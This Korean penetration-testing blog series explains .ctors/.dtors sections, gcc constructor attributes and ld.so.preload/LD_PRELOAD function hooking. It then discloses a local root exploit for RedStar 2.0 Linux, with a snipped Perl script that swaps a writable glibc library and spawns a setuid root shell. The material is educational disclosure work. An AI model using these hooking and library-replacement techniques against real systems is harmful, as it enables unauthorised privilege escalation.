안녕하세요~

저희 TeamCR@K 블로그를 방문해 주시는 여러분들~

2018년 무술년, 새해 복 많이 받으세요!


지난 2017년에 저희 TeamCR@K은 더 없이 바쁜 나날을 보냈던 것 같습니다.

덕분에 블로그에 저희가 어떻게 지내고 있는지 어떤 연구들을 했는지 알려드릴 수 있는 틈이 없었네요~

그래서 2018년 무술년을 맞이하여 기획연재를 하나 준비해 보았습니다.

타이틀은 "Exploit Writing Technique"

전반적으로 모의해킹과 취약점 점검이라는 단어를 혼용하시는 분들이 많은 가운데에 모의해킹과 취약점 점검의 차이를 어떤 방법으로 쉽게 설명을 할까 고민을 많이 했습니다.

그래서 저희 TeamCR@K이 지향하는 모의해킹 범주에 포함되고 있는 Exploit Implementation Technique에 대해 조금 자세하게 글을 써 볼까 합니다.

보안 취약점을 찾아내고 그것에 대한 영향력이나 파급력을 증명하는 것이 모의해킹의 주 목적인데요.

이를 위해 알아야 할 기본 지식들을 나열하고 예제코드를 통해 쉽게 풀어내려고 노력할테니 재미있게 봐 주시면 좋겠습니다. :)


※ 참고로 아래 글에 사용된 모든 예제 소스코드들은 github를 통해 다운로드 받으실 수 있습니다.


$ git clone http://github.com/TeamCRAK/ExploitWritingTechnique.git



정대근 보안기술팀장 (A.K.A 1ndr4)

indra@a3security.com


Wargame 문제를 많이 풀어보셨거나 해킹기법을 많이 공부해보신분이라면 "Format String Bug (줄여서 FSB)"라는 단어를 많이 들어보셨을겁니다. 문자열 출력 시 Format을 조작해서 권한 상승을 유도하거나 임의의 코드를 실행하는 등의 악용이 가능한 취약점이었습니다. FSB를 가진 프로그램을 공격할 때 많이 사용하던 방법이 .dtors 주소를 기점으로 계산한 별도의 주소에 shellcode 주소를 삽입하여 원하는 코드를 실행하도록 하는 방법이었습니다.


[그림 1] objdump를 통한 .ctors와 .dtors 섹션 정보 출력


위 화면과 같이 objdump를 통해 특정 파일의 .dtors 와 .ctors 섹션 정보를 알아볼 수 있습니다. 만약 /bin/ls에 FSB 취약점이 존재하고 이것을 공격한다면 .dtors 주소에 +4바이트(32bit 주소체계)만큼을 더한 0x0805e00C 주소에 shellcode의 주소를 위치 시키도록 하겠지요. 그러면 왜 FSB 공격 시 .dtors의 +4바이트인 곳에 shellcode의 주소를 위치시켜야 하나? 라는 물음이 생길수도 있습니다.


1. .ctors.dtors는 각각 Constructor와 Destructor의 역할을 하고 있다.


.ctors와 .dtors에 대해 gcc manual은 다음과 같이 정의하고 있습니다.


URL: https://gcc.gnu.org/onlinedocs/gccint/Initialization.html


18.20.5 How Initialization Functions Are Handled


The compiled code for certain languages includes constructors (also called initialization routines)—functions to initialize data in the program when the program is started. These functions need to be called before the program is “started”—that is to say, before main is called.

...

The best way to handle static constructors works only for object file formats which provide arbitrarily-named sections. A section is set aside for a list of constructors, and another for a list of destructors. Traditionally these are called ‘.ctors’ and ‘.dtors’. Each object file that defines an initialization function also puts a word in the constructor section to point to that function. The linker accumulates all these words into one contiguous ‘.ctors’ section. Termination functions are handled similarly.


위 페이지는 main()의 실행 이전 또는 실행 이후에 load되어야 하는 초기화 함수들에 대해 설명하고 있는데 .ctors와 .dtors 가 각각 이와 같은 생성자/소멸자와 같은 개념의 역할을 하고 있으며, 이는 list 형태로 관리된다고 합니다.

보통 C언어보다 C++을 다루는 글에서 생성자와 소멸자라는 이야기가 많이 나옵니다. C++은 C에서 존재하지 않는 Class라는 개념을 도입했는데 다음과 같은 예제코드로 생성자와 소멸자를 확인 할 수 있습니다.


/*

* cpp_example.cpp

*

* Coded by TeamCR@K

*

* http://teamcrak.tistory.com

*

* - A example code for constructor & destructor

*/

#include <iostream>


using namespace std;


class CTeamCRAK {

public:

        CTeamCRAK()

        {

                cout << "I'm Constructor!" << endl;

        }


        ~CTeamCRAK()

        {

                cout << "I'm Destructor!" << endl;

        }

};


int main(void)

{

        CTeamCRAK TeamCRAK;


        cout << "Executed from main() function!" << endl;


        return 0;

}


위 예제 코드를 컴파일하여 실행해 보면 다음과 같이 ConstructorDestructor의 실행구조를 확인할 수 있습니다.


[그림 2] C++ 예제코드 컴파일 및 실행



2. .ctors와 .dtors Address list 형태로 보관되고 함수포인터화 하여 실행된다.


gcc manual에 나와 있는 내용을 조금 더 자세히 확인하기 위해 다음의 소스코드를 참조할 수 있습니다.


URL: http://sourceware.org/git/?p=glibc.git;a=blob_plain;f=elf/soinit.c


  1 /* Initializer module for building the ELF shared C library.  This file and

  2    sofini.c do the work normally done by crtbeginS.o and crtendS.o, to wrap

  3    the `.ctors' and `.dtors' sections so the lists are terminated, and

  4    calling those lists of functions.  */

  5

  6 #ifndef NO_CTORS_DTORS_SECTIONS

  7 # include <stdlib.h>

  8

  9 static void (*const __CTOR_LIST__[1]) (void)

 10   __attribute__ ((used, section (".ctors")))

 11   = { (void (*) (void)) -1 };

 12 static void (*const __DTOR_LIST__[1]) (void)

 13   __attribute__ ((used, section (".dtors")))

 14   = { (void (*) (void)) -1 };

 15

 16 static inline void

 17 run_hooks (void (*const list[]) (void))

 18 {

 19   while (*++list)

 20     (**list) ();

 21 }

 22

 23 /* This function will be called from _init in init-first.c.  */

 24 void

 25 __libc_global_ctors (void)

 26 {

 27   /* Call constructor functions.  */

 28   run_hooks (__CTOR_LIST__);

 29 }

 30

 31

 32 /* This function becomes the DT_FINI termination function

 33    for the C library.  */

 34 void

 35 __libc_fini (void)

 36 {

 37   /* Call destructor functions.  */

 38   run_hooks (__DTOR_LIST__);

 39 }

 40

 41 void (*_fini_ptr) (void) __attribute__ ((section (".fini_array")))

 42      = &__libc_fini;

 43 #endif


위 코드는 glibc 소스코드의 일부이고 .dtors가 어떻게 정의되고 활용되는지 참조할 수 있는 소스코드입니다.

먼저 12번 라인쪽을 보면 __DTOR_LIST__를 정의하는 부분입니다..dtors 섹션은 함수포인터로 정의되고 그 초기값을 -1 (32bit 주소체계 기준 0xFFFFFFFF)이라고 정의되어 있습니다. 17번째 라인은 run_hooks() 함수를 정의하고 있으며, 인자로 받은 데이터를 함수포인터화 하여 실행합니다. 34번 라인의 __libc_fini() 함수가 구현되는 부분에서 비로소 .dtors 섹션의 데이터가 run_hooks()를 통해 함수포인터화 되어 실행되고 있음을 알 수 있습니다.

또한 .ctors.dtors 모두 같은 방식으로 동작하는 것을 알 수 있습니다.

FSB 취약점을 .dtors 섹션의 조작을 통해 공격한다면 __DTOR_LIST__는 다음과 같은 구조가 되겠네요.


__DTOR_LIST__[0] : 0xFFFFFFFF

__DTOR_LIST__[1] : ${SHELLCODE_ADDRESS}

...


[그림 3] 실제 존재하는 파일의 .ctors와 .dtors 섹션 데이터 구조 확인


정리해보면 .ctors는 Constructor, .dtors는 Destructor의 개념을 갖고 있으며, 이들은 특정 Address들의 list 형태로 보관되면서 사용 시 해당 Address list를 함수포인터화 하여 실행된다. 정도 일 것입니다.

그러면 실제 프로그램 구현 시 이러한 Constructor/Destructor를 어떻게 구현할 수 있는가?

gcc manual에 따르면 다음과 같습니다.


URL: https://gcc.gnu.org/onlinedocs/gcc-7.2.0/gcc/Function-Attributes.html#Function-Attributes


6.31 Declaring Attributes of Functions

...

Function attributes are introduced by the __attribute__ keyword on a declaration, followed by an attribute specification inside double parentheses. You can specify multiple attributes in a declaration by separating them by commas within the double parentheses or by immediately following an attribute declaration with another attribute declaration. See Attribute Syntax, for the exact rules on attribute syntax and placement.

...


URL: https://gcc.gnu.org/onlinedocs/gcc-7.2.0/gcc/Attribute-Syntax.html#Attribute-Syntax


6.37 Attribute Syntax


This section describes the syntax with which __attribute__ may be used, and the constructs to which attribute specifiers bind, for the C language. Some details may vary for C++ and Objective-C. Because of infelicities in the grammar for attributes, some forms described here may not be successfully parsed in all cases.

...

An attribute specifier is of the form __attribute__ ((attribute-list)).

...


URL: https://gcc.gnu.org/onlinedocs/gcc-7.2.0/gcc/Common-Function-Attributes.html#Common-Function-Attributes


6.31.1 Common Function Attributes

...

constructor

destructor

constructor (priority)

destructor (priority)

The constructor attribute causes the function to be called automatically before execution enters main (). Similarly, the destructor attribute causes the function to be called automatically after main () completes or exit () is called. Functions with these attributes are useful for initializing data that is used implicitly during the execution of the program.

...


gcc manual 6.31장에서는 함수의 속성 선언이 __attribute__ 키워드에 의해 이루어진다는 것을 설명하고 있고, 6.37.1절에서는 __attribute__ 키워드를 사용하기 위한 문법, 6.31.1절에서는 __attribute__ 키워드와 함께 ConstructorDestructor를 명시하면 main() 실행 이전과 실행 이후에 실행되는 함수를 구현 할 수 있다고 설명합니다.

gcc manual에 따른 내용을 기준으로 코드를 작성하여 테스트 해 보았습니다.


/*

* gcc_syntax_ctors_dtors.c

*

* Coded by TeamCR@K

*

* http://teamcrak.tistory.com

*

* - A example c code for constructor & destructor by gcc

*/

#include <stdio.h>


__attribute__((constructor))

void ctors(void)

{

        fprintf(stdout, "I'm Constructor!\n");

        return;

}


__attribute__((destructor))

void dtors(void)

{

        fprintf(stdout, "I'm Destructor!\n");

        return;

}


int main(void)

{

        fprintf(stdout, "Executed from main() function!\n");

        return 0;

}


아래 화면은 위 소스코드의 컴파일 및 실행결과를 보여주는 화면입니다.


[그림 4] gcc의 syntax로 구현된 예제코드 컴파일 및 실행


___attribute__((attribute-name)) 와 같은 gcc에서 지원하는 문법으로 프로그램의 ConstructorDestructor의 구현이 잘 되는지 테스트 해 보았습니다. 이렇게 만들어진 프로그램이 실제 gcc manual에 있는 그대로 구현되는지 확인 해 보겠습니다.

gdb를 이용하여 __CTORS_LIST__와 해당 list에 저장된 주소가 실제 constructor 속성으로 지정된 함수가 맞는지 확인합니다.

[그림 5] gdb를 사용한 Constructor 구현 상태 확인


gdb를 이용하여 __DTORS_LIST__와 해당 list에 저장된 주소가 실제 destructor 속성으로 지정된 함수가 맞는지 확인합니다.

[그림 6] gdb를 사용한 Destructor 구현 상태 확인


소스코드에서는 fprintf()를 사용하도록 했는데, 내부적으로는 fwrite()가 사용되는 것도 확인할 수 있습니다.

지금까지 main() 실행 이전이나 종료 이후 특정 함수를 실행할 수 있는 방법을 알아보았습니다. 프로그래머는 본 방법으로 실제 main() 실행 이전에 선 처리 되어야 하는 루틴을 작성하거나 main() 종료 이후 OS 레벨이 아닌 Application 레벨에서의 리소스 반환 작업 등을 별도로 구현할 수 있을 듯 합니다. 그런데 이 기능이 Exploit과 무슨 관계가 있는지는 아직 잘 모르겠네요. 아직 알아야 할 것이 더 많은 걸까요?

이제 첫 단계의 시작입니다. ;)
조바심 내지 마시고 다음 단계인 "Exploit Writing Technique #2: Basics of Shared Library"도 천천히 읽어주시면서 기다려 주시면 감사하겠습니다 :)


정대근 보안기술팀장 (A.K.A 1ndr4)

indra@a3security.com


여러분은 "선적재 라이브러리"라는 말을 들어보신적 있으신가요? 선적재(Pre-loaded)된 라이브러리는 다른 로드 된 공유라이브러리보다 우선순위를 가지고 있다는 특징이 있습니다. 그로 인해 특정 함수에 대한 Hooking에 사용되기도 하고 개발자의 디버깅에도 유용하게 사용되고 있습니다. 우선 다음의 페이지에서 선적재 라이브러리에 대해 간략한 설명을 보실 수 있습니다.


Secure Programming for Linux and Unix HOWTO - 3.7. 동적 링크 라이브러리

https://wiki.kldp.org/HOWTO/html/Secure-Programs-HOWTO/dlls.html


페이지 글 중간에 전반적으로 Linux 시스템에서 동작하는 라이브러리의 구조와 함께 ld.so.preload 파일의 특징과 활용법, 그리고 같은 맥락으로 동작하는 LD_PRELOAD 환경변수에 대해 설명하고 있습니다.

(2018년 2월 1일 기준 위 페이지에서 설명하는 LD_RELOAD라는 환경변수는 LD_PRELOAD의 오타로 확인되고 있습니다.)

선 적재 라이브러리가 활용되는 흔적은 strace(system call tracer)에서도 확인할 수 있습니다.


[그림 1] strace로 확인한 선 적재 라이브러리 활용의 흔적


/bin/ls 프로그램 실행 시작 직후 시스템 내부에서는 /etc/ld.so.preload 파일의 존재 여부를 확인하고 있습니다. /etc/ld.so.preload라는 파일은 어떠한 파일일까요? ld.so의 man 페이지에서는 다음과 같이 설명하고 있습니다.


LD.SO(8)                   Linux Programmer’s Manual                  LD.SO(8)


NAME

       ld.so, ld-linux.so* - dynamic linker/loader


DESCRIPTION

       The  programs ld.so and ld-linux.so* find and load the shared libraries

       needed by a program, prepare the program to run, and then run it.

>> snip <<

ENVIRONMENT

       There are four important environment variables.

>> snip <<
       LD_PRELOAD
              A whitespace-separated list of additional,  user-specified,  ELF
              shared  libraries  to  be loaded before all others.  This can be
              used  to  selectively  override  functions   in   other   shared
              libraries.   For  set-user-ID/set-group-ID  ELF  binaries,  only
              libraries in the standard search directories that are also  set-
              user-ID will be loaded.
>>snip <<
FILES
>> snip <<
       /etc/ld.so.preload
              File  containing  a  whitespace  separated  list  of  ELF shared
              libraries to be loaded before the program.
       lib*.so*
              shared libraries
...


Secure Programming for Linux and Unix HOWTO에서도 설명하는 것 처럼 ld.soman 페이지에 따르면 선적재 라이브러리를 활용할 수 있는 방법에 대해 2가지로 설명되고 있습니다. 첫번째는 환경변수인 LD_PRELOAD 값의 설정을 통해 특정 라이브러리를 선적재 할 수 있고, 두번째로는 /etc/ld.so.preload 파일을 이용해 선적재 라이브러리를 지정할 수 있다고 합니다.


LD_PRELOAD 환경변수를 이용한 선적재 라이브러리 활용은 2014년에 저희 TeamCR@K 블로그에 올린 zygote 프로세스에 LD_PRELOAD 환경변수 삽입하기 편에도 일부 언급되어 있어 본 글에서는 ld.so.preload를 중점으로 설명하고자 합니다. Linux에서 파일실행에 의해 프로세스 화 된 시점의 기본적인 플랫폼 환경은 GLIBC가 근간이 되고 있습니다. GLIBC는 실행된 프로그램과 Kernel 중간에 위치하면서 프로그램 실행에 여러가지 관여를 합니다. GLIBC 소스코드를 다운로드 받아 분석해보면 ld.so.preload 의 동작 구성도 엿 볼 수 있습니다.


아래의 소스코드는 GLIBC 소스코드 트리에서 elf/rtld.c 파일의 일부 내용입니다.


[그림 2] GLIBC 2.9 버전에서 ld.so.preload 를 이용하여 선적재 라이브러리를 구성하는 로직


GLIBC 소스코드 트리 중 elf/rtld.c 소스코드를 참조하면 do_preload() 에 의해 라이브러리의 선적재하는 과정을 알 수 있습니다. 위에 언급되어 있는 것 처럼 선적재 라이브러리는 다른 라이브러리에 우선한다고 했습니다. 그 말은 같은 함수가 로드되는 다른 라이브러리에 구현이 되어 있더라도 선적재 라이브러리에 구현된 함수가 우선순위를 가지고 있는 것을 말하며, 해당 특성을 이용하여 Wrapping Function의 구현과 같은 방법으로 특정 함수를 Hooking할 수 있습니다.


음의 코드는 setuid() 함수를 Hooking하는 코드입니다.


/*

* libsetuid.so.c

*

* Coded by TeamCR@K

*

* http://teamcrak.tistory.com

*

* - A example code for wrapped function of setuid()

*/

#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>

#include <dlfcn.h>


static int (*orig_setuid)(uid_t uid);


int setuid(uid_t uid)

{

        int ret = 0;

        void *dl = NULL;

        char exe[1024] = {0,};


        readlink("/proc/self/exe", exe, sizeof(exe));

        fprintf(stdout, "[DEBUG] Hooked setuid(%d) by '%s'\n", uid, exe);

        if((dl = dlopen("/lib/libc.so.6", RTLD_LAZY)) != NULL) {

                if((orig_setuid = dlsym(dl, "setuid")) != NULL) {

                        ret = orig_setuid(uid);

                }

                dlclose(dl);

        }

        return ret;

}



GLIBC 내에 구현된 setuid() 함수를 라이브러리 직접 참조를 통해 불러오고 실행하기 위해 DL 라이브러리를 사용합니다. 또한 이를 위해 setuid() 함수의 원형을 함수포인터 형태로 정의합니다. setuid()가 실행되면 readlink()를 통해 현재 해당 함수를 실행하도록 한 프로그램의 경로를 받아오고 이를 디버그 메시지를 통해 사용자에게 전달합니다. 이 후 dlopen()dlsym()을 통해 GLIBC에 구현된 setuid() 함수를 실행할 수 있도록 구현되어 있습니다.


위 소스코드를 컴파일 후 /bin/su를 타겟 대상으로 삼고 테스트를 진행하였습니다. 패스워드 인증을 통해 사용자 권한을 변경할 수 있도록 한 /bin/su는 setuid()를 사용할 것이며, 프로그램 실행 초기에 /etc/ld.so.preload가 존재한다면 파일 안에 정의된 경로의 라이브러리를 선적재 할 것입니다. 내부적으로 setuid() 수행 시 선적재 된 라이브러리의 영향을 받는다면 디버그 메시지를 통해 wrapped function이 실행되는 것을 확인 할 수 있을 것 입니다.


[그림 3] ld.so.preload를 이용하여 setuid() 함수 hooking 가능 확인


위 화면에서 우리는 중요한 포인트 하나를 알 수 있습니다.


/etc/ld.so.preload는 상위 권한의 setuid bit가 설정된 프로그램에도 정상 동작을 보장하나, 같은 목적을 가진 LD_PRELOAD 환경변수를 통한 라이브러리 선적재의 경우 상위 권한의 setuid bit가 설정된 프로그램과 같이 실행되면 정상 실행이 되지 않습니다. 이는 사용자 누구나가 변경이 가능한 환경변수의 경우 기본적으로 신뢰할 수 없는 값으로 판단하여 처리하도록 설계 한 보안의 가장 기본적인 1원칙이 그 이유가 아닐까요?


[그림 4] setuid bit가 설정된 파일 실행 시 무시되는 LD_PRELOAD 환경변수


지금까지 Shared Library 특성에 대해서 알아보았는데요. 이에 더불어 기존에 알아보았던 Constructor의 개념도 선적재 라이브러리와 함께 활용될수는 없을까요? 이를 알아보기 위해 한 가지 더 테스트를 해 보기로 했습니다.


/*

* libmypriv.so.c

*

* Coded by TeamCR@K

*

* http://teamcrak.tistory.com

*

* - A example code for constructor of shared library

*/

#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>

#include <dlfcn.h>


int __attribute__((constructor)) init(void)

{

        fprintf(stdout, "[DEBUG] UID: %d / GID: %d / EUID: %d / EGID: %d\n",

                getuid(), getgid(), geteuid(), getegid());

        return 0;

}


Constructor 역할을 하기 위한 함수를 구현했는데, 이는 사용자의 User-ID/Group-IDEffective-User-ID/Effective-Group-ID를 출력하고 리턴하는 함수입니다. 일반적으로 프로그램 실행 시 권한 관리를 위해 User-ID 권한과 Effective-User-ID 권한을 따로 분리하는데, 해당 개념을 이해하고 있으면 향후 setuid bit가 설정된 프로그램 분석에 많은 도움을 줍니다.


위 코드를 공유 라이브러리 형태로 컴파일 하고 선적재 하도록 한 후 setuid bit가 설정된 프로그램을 실행하면 어떻게 될까요?

 

[그림 5] setuid bit가 설정된 파일 실행 시에도 유효한 Pre-loaded Library 및 Constructor 속성


/bin/su 실행 시 libmypriv.so 가 선적재되고, Constructor 속성으로 인해 패스워드를 입력 받기 전 init() 함수가 호출되어 해당 함수가 실행되는 것을 볼 수 있습니다. 


[그림 6] System Call Tracer로 확인한 Pre-loaded Library와 Library의 Constructor 속성의 정상 동작


System Call Tracer를 통해 확인한 경우 ptrace()의 영향으로 인해 파일의 setuid bit가 무시되어 getuid() 계열의 함수 반환 값이 일반 사용자 User-ID로 표현되어 있지만, 선적재 된 라이브러리의 함수인 init() 함수가 Constructor 속성에 의해 프로그램 시작 초기에 실행된다는 것을 알 수 있습니다.


지금까지 Linux 환경에서 가능한 ConstructorPre-loaded Libraries에 대해 알아보았는데요. 실제 이것이 어떻게 Exploit Techniques와 연결될 수 있는지 그 실 예를 다음 편에서 알아보도록 하겠습니다.

N.Korea RedStar 2.0 Incorrect permission local root exploit


TeamCR@K


개요

북한에서 개량하여 배포한 일명 ‘붉은별 리눅스’는 현재 2.0 버전까지 배포되는 것으로 알려지고 있으며, P2P 공유 사이트 등으로 다운로드 받아 설치 해 볼 수 있다. 해당 리눅스 OS 는 CD를 배포할 때 설정상의 문제점이 존재하여 이를 이용해 일반 사용자가 관리자 권한을 획득할 수 있다.


상세설명

리눅스 시스템은 보통 glibc라는 라이브러리 환경에 종속되는데, glibc 라이브러리 내에는 공유라이브러리(shared library)로 대표되는 라이브러리들이 포함된다. 보통 프로그램 기동 시, 많이 사용되는 대표적인 함수들의 구현은 전부 본 glibc의 공유라이브러리에서 담당하게 된다. 

 



[그림 1] glibc 라이브러리에 포함되는 ‘C library functions’


(발췌: Advanced Programming in the Unix Environment)


위 그림에 표현되어 있는 ‘C library functions’가 바로 glibc 라이브러리의 역할을 나타내며 리눅스 시스템에서 kernel 다음으로 중요한 위치를 차지한다는 것을 알 수 있다. 이런 중요한 역할을 하는 glibc 라이브러리는 기본적으로 시스템 관리자(root)만 쓰고 지울 수 있는 권한을 갖게 되는데 ‘붉은별 리눅스’는 일반 사용자도 그 내용을 쓰고 지울 수 있게 되어 있어 이를 이용해 일반 사용자가 관리권한을 획득 할 수 있다.

본 라이브러리의 잘못된 설정권한을 이용해 일반 사용자가 관리자 권한을 획득 할 수 있는 시나리오로 다음과 같은 구상이 가능하다.


1. 악의적인 라이브러리 파일 생성

2. 해당 악의적인 라이브러리 파일의 내용과 실제 존재하는 라이브러리 파일의 내용을 치환

3. root권한의 suid bit가 설정되어 있으며, 악의적인 내용의 라이브러리 파일을 참조하는 프로그램을 실행

4. 관리자 권한 획득


다음은 위 시나리오를 자동화 한 프로그램 소스코드의 일부이다.


#!/usr/bin/perl

#

use Fcntl ":mode";

use IO::Handle;


my $banner = "RedStar 2.0 Linux (N.Korea) root exploit";

my $shellname = "/tmp/sh";

my @cfiles = ($target, $suidfile, "/usr/bin/bzip2");

my @perms = (S_IWOTH, S_ISUID, S_IXOTH);

my $bz2bin = 

"\x42\x5A\x68\x39\x31\x41\x59\x26\x53\x59\x91\x83\xB7\xAB\x00\x04".


-- > snip <--


my $success = 0;

for($i = 0; $i < 60; $i++) {

print ".";

flush STDOUT;

if(($ret = permcheck($shellname, S_ISUID)) == 0) {

print "\n[*] Exploit successfully!\n";

$success = 1;

sleep 1;

system($shellname);

last;

}

sleep 1;

}


if($success == 0) {

print "\n[!] Exploit failed.\n";

}


cleanup:

print "[*] Cleanup!\n";


unlink($backupfile);

unlink($evil_bin);


if($success == 1) {

print "[*] A ROOT SHELL IS '$shellname'. DELETE IT YOURSELF!\n";

}


exit(0);


다음은 위 소스코드를 이용해 일반 사용자가 관리 권한을 획득하는 화면이다.



[그림 2] exploit을 이용해 일반 사용자가 관리권한을 획득하는 화면


테스트에 사용된 OS의 버전은 2.0, ISO 이미지의 MD5 Checksum 값은 다음과 같다.

7ba35ae027787a9aa0013695a97c110c RS2.ISO